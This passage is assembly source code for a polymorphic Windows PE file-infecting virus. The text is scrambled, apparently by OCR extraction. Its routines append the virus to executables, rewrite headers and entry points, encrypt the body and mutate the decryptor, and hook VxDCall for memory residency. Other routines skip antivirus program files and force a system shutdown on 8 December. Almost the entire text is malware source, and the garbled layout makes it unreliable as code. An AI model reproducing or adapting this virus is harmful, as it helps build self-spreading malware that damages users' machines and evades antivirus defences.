           ecx, VIRUS_SIZE
           movsb
   rep
;Write New Jump Instruction in File
   ;Offset in File where operand to JMP instruction is to be put
           ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
   mov
           ebx, [dwVirusBegin]
                                        ;True offset in file
   add
   mov
           esi, [dwDeltaOffset]
   add
           ebx, [esi + lpHostFile]
                                        ;Correct offset in Memory Mapped File
   mov
           ecx, [dwJumpBytes]
                                        ;Get operand for jmp instruction
                                        ; Put it in the file
           [ebx], ecx
   mov
;Update the Last Section Header
           eax, [lpdwLastSection]
   mov
           ebx, [dwIncSecSize]
   mov
           ecx, [dwIncFileSize]
   mov
   add
            (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
   add
            (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
           (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
   or
; Fix VirtualSize (if Required) for files like TRACERT. EXE)
           ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
   mov
           (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
                                                                 ; Virtual Size Wrong
   cmp
           VirtualSizeFine
                                                                 ; No, Fix Not Required
    jge
```

```
VirtualSizeFine:
;Update the PE Header (Image Size)
   mov ebx, [dwIOH]
                                   ; Address of Image Optional Header
          (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
   add
;Update the PE Header (Entry RVA)
   mov ecx, [dwNewEntryRVA] ;Get New Entry RVA
          (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
   mov
;Update the Win32VersionValue field. This is used as a Virus Signature
   mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
; Encrypt the file, and Close it
       ebx, [dwDeltaOffset]
   mov
          mov
   add edi, [dwVirusBegin]
call EncryptVirus
   call UnmapAndCloseFile, if_szFileName
xor     eax, eax
inc    eax
                                      ;All OK, Return Code 1
End InfectFile:
InfectFile ENDP
;
;
                         EncryptVirus
;
; Description
  -> Encrypts the Virus Code with a random byte, and mutates the decryptor,
     making the virus Encrypted & Polymorphic
; Arguments
  -> EDI: Starting address of Virus in Memory Mapped File
; Return Value:
  -> None
; Registers Destroyed
  -> All except EDI
EncryptVirus PROC
  push edi
                                ; Save starting address of virus code
;Get Encryption Key, to be used for encrypting/decrypting
   ;@DELTA esi
   al, 40h
                               ;Get random encryption key
   IF DEBUG
      xor
            al, al
                               ;Don't encrypt in Debug Mode
   ENDIF
   mov ecx, ENCRYPTED_SIZE add edi, LOADER_SIZE
                               ;Don't enrypt the loader !!
EncryptByte:
   xor byte ptr [edi], al
inc edi
                               ;al = Encryption Key
   loop    EncryptByte
   pop edi
                                ;restore starting address of virus code
;Update the Encryption Key in the decryptor
         byte ptr [edi + EncryptionKey - StartOfVirusCode], al
; Mutate the Decryptor
         MutateDecryptor
   call
EncryptVirus ENDP
              -----+ |
```

(IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ; Yes, Fix it

```
StringLength
; Description
   -> Returns the length of the string
; Arguments
   -> DWORD sl_lpszString: Address of the string
; Return Value:
   -> EAX: Length of the string
; Registers Destroyed
   -> EAX, ECX, EDI
StringLength PROC sl_lpszString:DWORD
          edi, sl_lpszString
                                     ;string whose length is required
   mov
   xor
          ecx, ecx
                                ;ecx = -1, search till infinity
   dec
          ecx
                                 ; search for NULL character
          eax, eax
                                 ; Find the terminating NULL
   repne scasb
         ecx
   not
   dec
          ecx
                                 ;length of string
   mov
          eax, ecx
                                 ;return length of string
   ret
StringLength ENDP
TimerProc
; ***************************
; Description
   -> This function is called when the Time-out value for the Timer Expires.
; Arguments
   -> tp_hwnd: Handle of the window
      tp_uMsg: WM_TIMER
      tp_idEvent: ID of the timer
      tp_dwTimer: Value of GetTickCount()
; Return Value:
   -> None
; Registers Destroyed
   -> All
;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD
   LOCAL
         dwDeltaOffset:DWORD,
          dwFileNumber:DWORD, \
          stTime:SYSTEMTIME
   pushad
                                             ; must save, since this is a CALLBACK fn
   @DELTA esi
          [dwDeltaOffset], esi
   mov
; Check if Date is 8th December
   lea
         eax, stTime
         esi + GetLocalTime, eax
   call
   cmp
          stTime.ST_wMonth, 12
                                         ;is Month = December
         Not_8_December
   jne
                                         ;No
          stTime.ST_wDay, 8
                                         ; Yes. Is Day = 8th
   cmp
          Not_8_December
   jne
                                         ; No
;Deliever Payload since date is 8th December
   call
         PayLoad
;Not_8_December:
;Lock System if Windows has been running for a long time
         tp_dwTime, MAX_RUN_TIME
                                            ; Is Windows Up-time > 2 hours
   ;cmp
   ;jle
         NoLockWindows
                                             ; No
   ;DB
          0F0h
                                             ; Yes, use FOOF Bug to hang / lock System
          0Fh
   ; DB
   ; DB
          0C7h
          0C8h
   ; DB
; NoLockWindows:
; End TimerElapsed:
```

```
ret
;TimerProc ENDP
;
                              CanFileBeInfected
;
 Description
   -> This function checks if a file can be infected or not. It checks the
      following:
      1. File must be an EXE
      2. File must be a PE
      3. It must not be a DLL4. File must not be infected by our virus
      5. It must not be a Winzip Self-Extractor File
      If all the above conditions are met, this function returns the size, in
      bytes, by which the file and section must be increased when the file is
      infected.
; Arguments
   -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check
; Return Value:
   -> EAX: 1 if the file can be infected, 0 Otherwise
   -> EBX: Bytes by which the file size must be increased if it is infected
   -> ECX: Bytes by which the last section size must be increased if it is infected
; Registers Destroyed
   -> All
CanFileBeInfected PROC cfbe_szFileName: DWORD
;Map File, without increasing the File Size
   ;File Opened & Mapped Successfully
   jz
          End_CanFileBeInfected
                                           ;No, Return with Error Code = 0
;Get File Headers
         GetFileHeaders, eax
   call
   test
           eax, eax
                                           ;Successfully retreived file headers
           End_CanFileBeInfected
                                           ; No, probably not a PE file
    jе
; Check if file is infected. We use the Win32VersionValue for storing our signature
           (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
   cmp
    jz
           Error_CanFileBeInfected
                                          ;File is already infected
; Check if file is a DLL
           (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
   test
           Error_CanFileBeInfected
    jnz
;Check if last section is sharable
              edx, (IMAGE SECTION HEADER [ecx]).ISH Characteristics
               edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable
   ;and
   ;jnz
               Error_CanFileBeInfected
                                              ;Yes, don't infect
;Don't infect Winzip Self-Extractor Files.
    ;The last section of this file has the name _winzip_. Note that Winzip
    ;Self-Extrator Personal Edition Files will still be infected, since they
    ;don't have this section
           dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_"
                                                                      ;"_win" ?
           Error_CanFileBeInfected
                                                                       ;Yes, dont infect
;OK, File can be infected, Great !!, ;-)
        eax, ebx
                                           ; Image Optional Header
   mov
           ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
   mov
           ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
   mov
;Calculate Increase in Section size
   ;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN
   mov
         eax, VIRUS_SIZE - 1
   add
                                       ;Add Section Alignment
          eax, ecx
   xor
          edx, edx
                                       ; We need to divide only EAX
                                       ;Divide by SECTION_ALIGN
   div
           ecx
   mul
           ecx
                                       ; Multiply by SECTION_ALIGN
                                       ;Save Increase in Section Size
   push
           eax
```

;restore state

popad

```
; Calculate Increase in File Size
   ;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
         eax, VIRUS_SIZE;**NEW LINE eax
   ; mov
   ;dec
                                         ;INC_SEC_SIZE - 1
   mov
         eax, VIRUS_SIZE - 1
                                     ;Add File Alignment, FILE_ALIGN
   add
         eax, ebx
         ebx
                                     ;Divide by FILE_ALIGN
   div
          ebx
   mul
                                     ;Multiply by FILE_ALIGN
   push
                                     ;Save Increase in File Size
          eax
; Close the file, and return relevant values
          UnmapAndCloseFile, cfbe_szFileName
   call
                                     ;Get Increase in File Size
   pop
                                     ;Get Increase in Section Size
   pop
         ecx
   xor
         eax, eax
          eax
                                    ;Return Code 1
   inc
          End_CanFileBeInfected
   jmp
Error_CanFileBeInfected:
   call UnmapAndCloseFile, cfbe_szFileName
   xor
          eax, eax
End_CanFileBeInfected:
   ret
CanFileBeInfected ENDP
;
;
                             PayLoad
;+-----
; Description
   -> This function is called on the 8th of December. It delievers the Payload
      of the virus.
; Arguments
   -> None.
; Return Value:
   -> None.
; Registers Destroyed
  -> All
; PayLoad PROC
   ; call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL
   call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL
   ret
; PayLoad ENDP
;
                         CanMachineBeInfected
 | +-----<del>-</del>
; Description
   -> This function is called to check if the virus should infect this machine
     or not. This is used, so that the virus doesn't infect My Machine !!
; Arguments
   -> None.
; Return Value:
  -> EAX: 0 -> machine should not be infected, else it can be infected
; Registers Destroyed
   -> All
CanMachineBeInfected PROC
   @DELTA esi
; Check if the "No Infect" file exists on the current machine
        eax, esi
   mov
   add
           eax, offset szNoInfectFileName
          esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
   call
              OPEN EXISTING, NULL, NULL
```

```
eax, INVALID_HANDLE_VALUE
                                     ;File Opened ?
    cmp
           End_CanMachineBeInfected
                                      ; No, so machine can be infected
;Close the file, and return 0, since its probably my machine
   call esi + CloseHandle, eax
   xor
           eax, eax
                                       ;return 0, so that machine is not infected
End_CanMachineBeInfected:
CanMachineBeInfected ENDP
;
;
                               RelocateVirus
;
; Description
   -> This function allocates memory in the Shared area and copies the Virus
     to that area.
; Arguments
   -> None.
; Return Value:
   -> EAX: Base address of Memory where the Virus was copied, or NULL if an
      error occured.
; Registers Destroyed
   -> All
RelocateVirus PROC
   LOCAL dwDeltaOffset:DWORD, \
           dwMemoryRegion:DWORD
   @DELTA esi
   mov [dwDeltaOffset], esi
; Reserve Shared Memory
   @DELTA esi
   call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
            PC_WRITEABLE OR PC_USER
           eax, INVALID_HANDLE_VALUE
                                               ; Memory Allocate Successfully?
          Error_RelocateVirus
    jе
                                               ; No
          eax, SHARED MEMORY
                                               ; Shared memory Allocated?
    cmp
   jb
          Error_RelocateVirus
                                               ;No
;Save Address of Region
   mov [dwMemoryRegion], eax
; Commit Shared Memory
        eax, 0Ch
esi, [dwDeltaOffset]
                                              ; Page Number
   shr
   mov
   call esi + VxDCall, PageCommit, eax, VIRUS SIZE PAGES, PD ZEROINIT, 0, \
                    PC WRITEABLE OR PC USER OR PC PRESENT OR PC FIXED
   or
          eax,eax
          Error_RelocateVirus
   je
;Copy Virus to Newly Allocate Memory
        esi, dwDeltaOffset
           esi, offset StartOfVirusCode
                                              ;Start Copying From Here
   add
          edi, [dwMemoryRegion]
                                               ;Copy Here
   mov
          ecx, VIRUS_SIZE
   mov
                                               ;Size to Copy
   rep
          movsb
                                               ; Return Region of Shared Memory Allocated
   mov
          eax, [dwMemoryRegion]
           End RelocateVirus
   jmp
Error_RelocateVirus:
                                               ;Return 0, since an error occured
   xor
          eax, eax
End_RelocateVirus:
RelocateVirus ENDP
;
;
                         InstallHookProcedure
```

```
-> This function installs a hook procedure to monitor VxDCalls
; Arguments
   -> None.
; Return Value:
   -> None.
; Registers Destroyed
   -> All
InstallHookProcedure PROC
          dwDeltaOffset:DWORD
   @DELTA esi
           [dwDeltaOffset], esi
   mov
; Modify the JMP instruction, so that it points to the address of OldInt30
   mov
        eax, esi
          eax, offset OldInt30Address
   add
                                           ;Bytes to modify
          ebx, esi
   mov
   add
           ebx, offset OldInt30
                                            ; Address of OldInt30
   mov
           [eax], ebx
                                            ; Modify JMP instruction
;The disassembly of the VxDCall function looks like this:
;8B 44 24 04
                           MOV
                                   EAX, DWORD PTR [ESP+04h]
;8F 04 24
                                 DWORD PTR [ESP]
                           POP
;2E FF 1D XX XX XX XX
                           CALL FWORD PTR CS:[XXXXXXXX]
;The last instuction points to an INT 30h instruction that is used by
; VxDCall to jump to Ring O. So, to hook VxDCall's, we must modify the
;address pointed to by the CALL, i.e. XXXXXX, so that it points to our
;code. Before that, we should save the current address, so that we can
; call the old INT 30h
;Trace through VxDCall, until we come to the XXXXXXXX bytes
   add esi, offset VxDCall
   mov
          esi, [esi]
                                        ;First byte of VxDCall function
           ecx, 50
   mov
                                        ;Scan upto 50 bytes
TraceVxDCall:
                                        ;Get current byte
   lodsb
          al, 2Eh
TraceVxDCall_NextByte
                                        ;First byte of CALL instruction?
   CMD
                                   ;No, check next byte
   cmp word ptr [esi], 1DFFh ;Next
je TraceVxDCall_AddressFound ;Yes
                                       ; Next two bytes of instruction?
TraceVxDCall_NextByte:
           TraceVxDCall
                                        ;Continue Checking...
   loop
TraceVxDCall AddressFound:
;Save Current INT 30h Address
                                        ; Cannot afford to be interrupted
   cli
                                        ; Skip over FF and 1D opcodes of CALL
   lodsw
                                        ; Pointer to INT 30h instruction, XXXXXXXX
   lodsd
   mov
          esi, eax
                                        ;Copy Bytes From Here
           edi, [dwDeltaOffset]
   mov
           edi, offset OldInt30
   add
                                        ;To Here
           ecx, 6
                                        ; Save 6 bytes, FWORD
   mov
           movsb
   rep
;Install New INT 30h Handler
   mov edi, eax
                                        ;Pointer to INT 30h instruction
           eax, [dwDeltaOffset]
   mov
           eax, offset VxDInt30Handler ; Copy This Address
   add
                                        ;Save 4 bytes ...
   stosd
   mov
           ax, cs
                                        ; and 2 bytes (since FWORD instruction)
   stosw
   sti
                                        ; Handler installed, enable interrupts
   ret
InstallHookProcedure ENDP
;
                              VxDInt30Handler
;
```

```
; Description
 -> This is the hook procedure that monitors VxDCalls (INT 30h)
; Arguments
   -> None.
; Return Value:
   -> None.
; Registers Destroyed
 -> All
VxDInt30Handler PROC
       pushad
                                     ; Save all, since this is an interrupt handler
; Make sure that we don't process our own calls
       @OFFSET ebp, VxDCall_Busy
       cmp byte ptr [ebp], TRUE
                                                ;Is Virus busy
             Exit_VxDInt30Handler
                                                ;Yes, prevent re-entrancy
       jе
; Process only INT 21h Services
       cmp eax, VWIN32_Int21Dispatch
                                                ;VWIN32 VxD int 21h?
             Exit_VxDInt30Handler
       jne
              eax,dword ptr [esp+0000002Ch]
ax, RESIDENCY_CHECK_SERVICE
       mov
                                               Get 21h Service
                                                 ; Check for Residency?
       cmp
             Residency_Check
                                                 ;Yes
       jе
             ax, LFN_OPEN_FILE_EXTENDED
       cmp
                                                ;LFN Open Extended
              Extended_File_Open
       jе
              Exit_VxDInt30Handler
                                                ; None, go to default handler
       jmp
Residency_Check:
; Virus Residency Check
       popad
                                                ;Restore stack and other regs
             esi, RESIDENCY_SUCCESS
Original_VxDInt30Handler
                                                ;Tell caller that we're resident
       mov
                                                ;Go to original handler
       jmp
Extended_File_Open:
;Prevent Re-entrancy
       @OFFSET eax, VxDCall_Busy
             byte ptr [eax], TRUE
       pop esi
or eax, eax
             File_Not_Executable
       jz
;Do Stuff
       call OutputFileName
File Not Executable:
;Finished Processing
       @OFFSET eax, VxDCall_Busy
       mov byte ptr [eax], FALSE
Exit_VxDInt30Handler:
                                     ; Restore, before transfering control
      popad
Original_VxDInt30Handler:
;The following bytes will be translated to JMP FWORD PTR CS:[00000000]
       DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXXX]
OldInt30Address:
                                     ;The following 4 bytes will be replaced by the
  DB 4 DUP (0)
                                     ;address of OldInt30 in memory.
       ;ret
                                     ; Not required, since we're jumping out
VxDInt30Handler ENDP
;
;
;
                              IsFilenameOK
;
 | +-----
;+-
; Description
  -> This function checks if the filename is OK for infection or not. If the
     filename meets any of the folling criteria, this function returns a
     failure.
```

```
* Filename is less than 5 characters. This is checked, because
             we are infecting only .EXE files, so the minimum length of such
             a file is 5 characters
            * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The
             comparison is case insensitive
            * The filename must NOT consist of any of the following pairs of
             characters, viz., "AV", "AN", "F-". This is done to prevent
              infection of Anti-Virus program files.
; Arguments
   -> ife_szFilename: Address of the buffer where the filename is stored
; Return Value:
  -> EAX: 1 if the filename is OK, 0 otherwise
; Registers Destroyed
   -> All
IsFilenameOK PROC ife_szFilename
   TOCAT.
          szExtention[4]:BYTE
; Check Filename Length
          esi, ife_szFilename
   mov
           StringLength, esi
   call
                                   ;Get length of filename
   cmp
           eax, 4
                                   ; Is File name less than 5 characters (.EXE)
    jl
           Error_IsFilenameOk
                                    ;Yes, Don't infect
                                   ;Save Length of Filename
   push
           eax
;Get File Extention
          eax, [esi + eax - 4] ;File Extention (including ".")
   mov
           edx, szExtention
   lea
                                   ;Get Address of Extention Buffer
           [edx], eax
                                   ;Store extention in buffer
   mov
;Convert to upper case
   mov
         ecx, 3
                                   ;3 characters to be converted
ToUpperCase:
                                   ;Don't have to check "." for upper case
   inc
          edx
   CMP
          byte ptr [edx], "a"
   jl
          NextCharacter
   cmp
          byte ptr [edx], "z"
           NextCharacter
   jg
           byte ptr [edx], "a" - "A" ;Convert to upper case
   sub
NextCharacter:
   loop
           ToUpperCase
                                   ;Get Length of Filename
   pop
           ecx
; Check the Extention
   IF DEBUG
               dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only)
       CMD
   ELSE
       ERR
                "Release Mode, Executables will be Infected !!!" ; Comment to assemble
               dword ptr [edx - 3], "EXE." ; Is Extention ".XYZ" (Release Only)
       cmp
   ENDIF
          Error IsFilenameOk
                                        ; No, Extention doesn't match
    jne
;Check Anti-Virus Program Files
   dec
           ecx
                                   ;Since we're checking 2 char, last char not reqd
CheckAntiVirusFiles:
           word ptr [esi], "VA"
                                    ;"AV"; for NAV (Norton), TBAV (ThunderByte)
   cmp
           Error_IsFilenameOk
    jе
           word ptr [esi], "va"
   cmp
   jе
          Error_IsFilenameOk
   cmp
          word ptr [esi], "-F"
                                    ;"F-"; for F-PROT
   jе
           Error_IsFilenameOk
           word ptr [esi], "NA"
                                   ; "AN", for SCAN (McAfee), CLEAN
   cmp
           Error_IsFilenameOk
   jе
           word ptr [esi], "na"
   cmp
    jе
           Error_IsFilenameOk
                                   ;Next Character
    inc
           esi
           CheckAntiVirusFiles
                                   ;Check All
   loop
   xor
           eax, eax
    inc
           eax
    jmp
           End_IsFilenameOk
Error IsFilenameOk:
   xor
           eax, eax
```

```
IsFilenameOK ENDP
;
;
OutputFileName PROC
          dwFilename:DWORD, \
   LOCAL
           dwDeltaOffset:DWORD
          [dwFilename], esi
   mov
   @DELTA esi
        [dwDeltaOffset], esi
   mov
;Create File to write into
          edx, [dwDeltaOffset]
   mov
   add
           edx, offset szOutputFile
   mov
           esi, OBFF77ADFh
           esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
   call
              0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
    cmp
           eax, INVALID_HANDLE_VALUE
   je
           End_OutputFileName
;Go to end of file
   push
                                           ;Save Handle
           eax
           esi, OBFF7713Fh
                                           ;SetFilePointer
   mov
   call
          esi, eax, 0, 0, 2
                                            ;Restore Handle
   pop
           eax
;Get Length of FileName
   push
          eax
                                           ;Save Handle
           edx, [dwFilename]
   mov
           esi, OBFF773ADh
                                           ;lstrlen
   mov
   call
          esi, edx
                                            ;length of filename
   mov
           ebx, eax
                                            ;Restore Handle
   pop
           eax
;Write Into File
   push
          eax
                                            ; save handle
                                            ;Create Buffer, used for number of bytes written
   push
           eax
          ecx, [esp - 4]
   lea
          edx, [dwFilename]
   mov
          esi,0BFF76FD5h
                                            ;WriteFile
   mov
   call
          esi, eax, edx, ebx, ecx, 0
                                            ;Remove Buffer
   pop
          eax
           eax
                                            ;restore handle
   pop
;Close File
          esi, OBFF7E064h
   mov
   call
          esi, eax
End_OutputFileName:
     ret
OutputFileName ENDP
;
;
                               IsVirusActive
;
 Description
   -> This function returns 1 if the virus is active in memory, else returns
      0. This function also saves the address of the VxDCall API.
; Arguments
   -> None.
; Return Value:
   -> EAX: 1 if the Virus is Resident. 0 otherwise
; Registers Destroyed
   -> All
IsVirusActive PROC
```

End_IsFilenameOk:

```
End_IsVirusActive
                                      ;No, Return 0
   iz
;Save address of VxDCall API
   @OFFSET ebx, VxDCall
                                       ;Save Address
   mov [ebx], eax
   ; Check if Virus is Already Resident
   @CALL_INT21h RESIDENCY_CHECK_SERVICE
   End IsVirusActive:
   ret
IsVirusActive ENDP
                               GetFileHeaders
; Description
   -> This function retreives the address of various file headers, viz.,
      Image File Header, Image Optional Header, Last Section Header,
      Image Export Directory. The function fails if the specified file is
      not a Portable Executable (PE) file
; Arguments
   -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are
      required.
; Return Value:
   -> EAX: Address of the Image File Header, or 0 if the function failed
   -> EBX: Address of the Image Optional Header
   -> ECX: Address of the Last Sections Header
   -> EDX: Address of the Image Export Directory
; Registers Destroyed
   -> All
GetFileHeaders PROC gfh_dwFileBase: DWORD
   LOCAL dwIOH: DWORD, \
           dwIED:DWORD, \
   mov     esi, [gfh_dwFileBase]
cmp     word ptr [esi], "ZM"
ine     Frror CetFileBase
                                              ; Is EXE/DLL Present ?
           Error_GetFileHeaders
                                               ;No
; Check for PE Signature
   add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
cmp dword ptr [esi], "EP" ;PE Fil
   jne Error_GetFileHeaders
                                              ; No
;Get Image Optional Header
   add esi, IMAGE_SIZEOF_NT_SIGNATURE
                                              ;Image File Header
   push
           esi
                                               ;Save Image File Header
          esi, SIZE IMAGE_FILE_HEADER
                                               ; Image Optional Header
   add
          [dwIOH], esi
                                               ;Save
   mov
;Get the Address of the Image Export Directory
   mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image
Export Directory
   add esi, [gfh_dwFileBase]
mov dword ptr [dwIED], esi
;Get Address of Last Section Header
   pop esi
                                               ;Get Image File header
   movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
                                                  ; Address of First Section Header
   add
          ecx, [dwIOH]
   movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
   dec
imul
         eax
                                               ; Number of Sections - 1
          eax, eax, SIZE IMAGE_SECTION_HEADER ; Size of All Section Headers
          ebx, SIZE IMAGE_SECTION_HEADER ebx
    ; mov
    ;mul
                                                   ;Size of All Section Headers
   add
         ecx, eax
                                               ; Address of Last Section Header
```

;

;

```
;Return Header Values
                                                ; Image File Header
        eax, esi
   mov
   mov
          ebx, [dwIOH]
          edx, [dwIED]
   jmp
          End_GetFileHeaders
Error_GetFileHeaders:
          eax, eax
                                                ;Error, Return 0
End_GetFileHeaders:
GetFileHeaders ENDP
;
                               MutateDecryptor
;
; Description
   -> This function modifies the registers used in the decryptor, to make it
     polymorphic. The decrypor uses two registers; one as an index, and the
      other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are
      used as random registers. The opcodes are generated in the following way.
      First the opcode is calculated using register EAX; e.g. the opcode for
      POP EAX is 58h. To generate the opcodes for the other registers, we add
      the number of the register. The number for EDX is 2. Adding this to 58h,
      we get 5Ah, which is the opcode for POP EDX
; Arguments
  -> EDI: Start of decrypor that need to be mutated
; Return Value:
   -> None
; Registers Destroyed
   -> AX, BL
MutateDecryptor PROC
;Get Two Random Registers
   call RandomRegister
                                       ;Get First Register Number
                                        ;Save It
   mov
           ah, al
GetAnotherRegister:
                                        ;Get Second Register Number
   call RandomRegister
                                        ; Is it the same as First
   cmp
          ah, al
    jе
          GetAnotherRegister
                                        ;Yes, get another one
; Modify Decryptor, so that it uses the new registers
                                        ;Change "pop <register1>"
        bl, 58h
   mov
           bl, al
   add
                                        ;Register 1
   mov
           byte ptr [edi + 5], bl
          bl, 0C0h
   mov
                                       ;Change "add <register1>, ..."
   add
          bl, al
                                        ;Register 1
   mov
           byte ptr [edi + 7], bl
           bl, 0B8h
                                        ;Change "mov <register2>, ..."
   mov
   add
          bl, ah
                                        ;Register 2
           byte ptr [edi + 9], bl
bl, 30h
   mov
   mov
                                        ;Change "xor byte ptr [<register1>], ..."
           bl, al
   add
                                        ;Register 1
           byte ptr [edi + 15], bl
   mov
          bl, 40h
                                        ;Change "inc <register1>"
   mov
   add
          bl, al
                                        Register 1
           byte ptr [edi + 17], bl
   mov
           bl, 48h
                                        ;Change "dec <register2>"
   mov
           bl, ah
                                        ;Register 2
   add
           byte ptr [edi + 18], bl
   mov
MutateDecryptor ENDP
;
                               RandomRegister
; Description
```

```
-> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of
     these values is used to identify a register.
     EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7
; Arguments
  -> None.
; Return Value:
  -> AL: Random number (0, 1, 2, 3, 6 or 7)
; Registers Destroyed
; -> AL
RandomRegister PROC
NewRandom:
  in al, 40h
and al,00000111b
cmp al, 4
je NewRandom
cmp al, 5
je NewRandom
                               ;Get Random Number
                                ;Maximum value 7
                                ;Should not be 4...
                               ;...or 5
  ret
RandomRegister ENDP
;
;
                       End Of Virus Code
;
       -----<del>-</del>
;+-----
END StartOfVirusCode
```